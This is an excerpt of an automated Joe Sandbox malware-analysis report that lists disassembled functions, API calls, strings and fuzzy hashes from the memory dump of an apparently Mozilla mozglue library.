Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 34329f6e6879a0a647f456c77b3968560924059e03c16ec785e2ae5caa21ad66
Instruction ID: 56130422ceee7cd159cbb73df1dcff560fbd32cdc00e365c4dc6e4fbec48cc2a
Opcode Fuzzy Hash: 34329f6e6879a0a647f456c77b3968560924059e03c16ec785e2ae5caa21ad66
Instruction Fuzzy Hash: ED01A278A04304AFDB04CF59D8C5D5277F8FB89B1871980AAE809CB751DF70E800CBA0

Function 6C93F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C93EE51,?), ref: 6C93F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C93F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C93F0E3
ole32, xrefs: 6C93F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C93F0DC

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6181b74b4c11ed0b3168b46331c6e50d85d4d5879ad2d6bc2ecc06d221156f84
Instruction ID: 8123e68a89decc43139c4ab89be34a55f4b83c632af37d08309ee9801ad05214
Opcode Fuzzy Hash: 6181b74b4c11ed0b3168b46331c6e50d85d4d5879ad2d6bc2ecc06d221156f84
Instruction Fuzzy Hash: 80E0D875748646FB9F045A7A9848A2737BC5B6350D324502DF906E1E50EB34D010C665

Function 6C970080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C947204), ref: 6C970088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9700A7
FreeLibrary.KERNEL32(?,6C947204), ref: 6C9700BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9700A1
wintrust.dll, xrefs: 6C970083

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: bbf44a19da6c1112cf83737645a7ec11bd2c940902599b73dfa679f7049d2a45
Instruction ID: d2bc5a2834b2c398f77dee2730dc6bc03147186e3c410a1199d4bc0959044e0f
Opcode Fuzzy Hash: bbf44a19da6c1112cf83737645a7ec11bd2c940902599b73dfa679f7049d2a45
Instruction Fuzzy Hash: B3E09A7C649345BBEF10AF6598487037AF8A74B359F204055A916D2650E7B5D000DF69

Function 6C9700D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C947235), ref: 6C9700D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9700F7
FreeLibrary.KERNEL32(?,6C947235), ref: 6C97010E

Strings

wintrust.dll, xrefs: 6C9700D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9700F1

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 24dbbbc97fedeed9364d167a8b187fdc2dcdcaa0cc783c839326c167e2f84b29
Instruction ID: 07210193bdab786227a7d19a74e06b2181abb52c44688deb0c935b656ebcd385
Opcode Fuzzy Hash: 24dbbbc97fedeed9364d167a8b187fdc2dcdcaa0cc783c839326c167e2f84b29
Instruction Fuzzy Hash: 75E0127C34E305BBEF109F25994D7233AF8A707248F30A065AA0F81A90DBB1C0108A68

Function 6C99C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99C0E9), ref: 6C99C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C99C437
FreeLibrary.KERNEL32(?,6C99C0E9), ref: 6C99C44C

Strings

NtQueryVirtualMemory, xrefs: 6C99C431
ntdll.dll, xrefs: 6C99C413

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction ID: 7d1576485bfaa2d532d7f31a318b40795875c490c61c1542510355f2ea04ce6f
Opcode Fuzzy Hash: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction Fuzzy Hash: 9DE0B67C709301BBDF00BF75C9587137FF8A74630CF244156BA0A916A0EBB0D0018B98

Function 6C9975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99748B,?), ref: 6C9975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9975D7
FreeLibrary.KERNEL32(?,6C99748B,?), ref: 6C9975EC

Strings

RtlNtStatusToDosError, xrefs: 6C9975D1
ntdll.dll, xrefs: 6C9975B3

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction ID: 7d89e057685b2a7d8c698299475d347703a36829d09283b33e6cb6b64a2af7f7
Opcode Fuzzy Hash: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction Fuzzy Hash: C7E092BD608305BBEB006FA2C8C87037AF8EB46618F2054A5B905E1650EBB0C24A8F59

Function 6C997600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C997592), ref: 6C997608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C997627
FreeLibrary.KERNEL32(?,6C997592), ref: 6C99763C

Strings

NtUnmapViewOfSection, xrefs: 6C997621
ntdll.dll, xrefs: 6C997603

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction ID: 0705f05431e83734ca511bd2bb0a90453bddbd0549295556dad18567c1f38900
Opcode Fuzzy Hash: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction Fuzzy Hash: 3CE092BC609301BBDF006FAA888C7077AB8E75B65DF204195E905D1650EBB0C0058F5D

Function 6C99BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C99BE49), ref: 6C99BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C99BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C99BE49), ref: 6C99BF38
RtlReAllocateHeap.NTDLL ref: 6C99BF83
RtlFreeHeap.NTDLL ref: 6C99BFA6

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
Instruction ID: 2d6477e9dad1e22ea36e303089c7473f71edab069f8fdfcc3e2a0542abee8c38
Opcode Fuzzy Hash: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
Instruction Fuzzy Hash: C351B071A002058FE720DF69CC80BAAB7B6FF98314F2C4629D51AA7B54D734F9168B80

Function 6C988E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988EBF
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988F46
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F8F

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction ID: ab1a3256729cae7102c31fd845212350378b9d97e912912f9eec199a18e91e88
Opcode Fuzzy Hash: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction Fuzzy Hash: 4A51B2B1A022168FEB18CF64D88076E73B6FF44318F25092AD916AB741E731F915CBE5

Function 6C9460E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9460F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C946180
free.MOZGLUE(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C946211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C946229
free.MOZGLUE(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C94625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C946271

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b15d80983e813fca68f97fbbaf1a88fae2c373c6bebbf13d622f203b753df076
Instruction ID: 182eeb75806d51ae23da3b0385b911bbe57fcb22830941068ed02e0e1d21f7de
Opcode Fuzzy Hash: b15d80983e813fca68f97fbbaf1a88fae2c373c6bebbf13d622f203b753df076
Instruction Fuzzy Hash: 6E5178F1A0420A9FEB14CFA8D8807AEB7B5EF49308F248539D616D7711E731EA58CB51

Function 6C9827E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98289A
free.MOZGLUE(?,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C9828F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C982910
free.MOZGLUE(00000001,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98294E

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7d563f7ebe866d3bda708417618ce344cf921dbe26579f8379f8de6e74581c26
Instruction ID: 5ae906131a3fb49b09dddeee20c0aa9defe660e430475b44e1115cb2d06f100b
Opcode Fuzzy Hash: 7d563f7ebe866d3bda708417618ce344cf921dbe26579f8379f8de6e74581c26
Instruction Fuzzy Hash: 6541C2B1B056068FEB14CF68D98876A73FAEF45308F250939D956EB740E732E904CB61

Function 6C93CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C93D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C93D139

Strings

MOZ_CRASH(), xrefs: 6C93D187

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 6426eff958d541e860be94203ff40b2dbd091c45634ff20a981ac0eee11f35da
Instruction ID: 8657fab9d0cbf658bcca8914360e90144270d883fda21fb1feb7fdba60b24d69
Opcode Fuzzy Hash: 6426eff958d541e860be94203ff40b2dbd091c45634ff20a981ac0eee11f35da
Instruction Fuzzy Hash: 9541B472B15326AFDB048E7C8DE436B76B9EB49B14F240139E918E7784D7B59D0087C8

Function 6C934DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C934EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C934F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C934F1E

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction ID: 5d5f82f6f7f2191a8e199f8dc861226de146343c49a14c496c39bf324710bf63
Opcode Fuzzy Hash: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction Fuzzy Hash: B941FF716087119FC711CF29C88095BBBE8BF99344F159A2DF46987B81DB32E958CF82

Function 6C941530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C94159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415BC
moz_xmalloc.MOZGLUE(-00000001,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415E7
free.MOZGLUE(?,?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941637

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction ID: 0365119587c7b6c7e95256d5ce91fef9dc9346e6e6740217ea7bf917b34f6cbf
Opcode Fuzzy Hash: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction Fuzzy Hash: ED31E872A001159FCB189E78D8504BE77A9BB923647244B2DE423DBBD4EB30D9258791

Function 6C99AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AD9D

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE01
GetLastError.KERNEL32(?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE3D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction ID: b597479c570f1ed6e9cef42561b371cc81e9674b4db4fce2faa17dda8e27b9a1
Opcode Fuzzy Hash: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction Fuzzy Hash: A63141B1E042159FDB10DFB98C44AABB7F8EF59614F15882DE84AD7740EB34E805CBA4

Function 6C995EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9ADCA0,?,?,?,6C96E8B5,00000000), ref: 6C995F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C96E8B5,00000000), ref: 6C995F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C96E8B5,00000000), ref: 6C995F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995FD6

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction ID: f18e239c381add5e0b263512a43ab366c4a39f7624366e9075ed0ab6274c31f1
Opcode Fuzzy Hash: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction Fuzzy Hash: 56310B353046009FD710CF29C898B2BB7F9FF8932ABA88658E55687B95C735EC51CB80

Function 6C93B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C93B532
moz_xmalloc.MOZGLUE(?), ref: 6C93B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C93B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C93B57E
free.MOZGLUE(00000000), ref: 6C93B58F

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
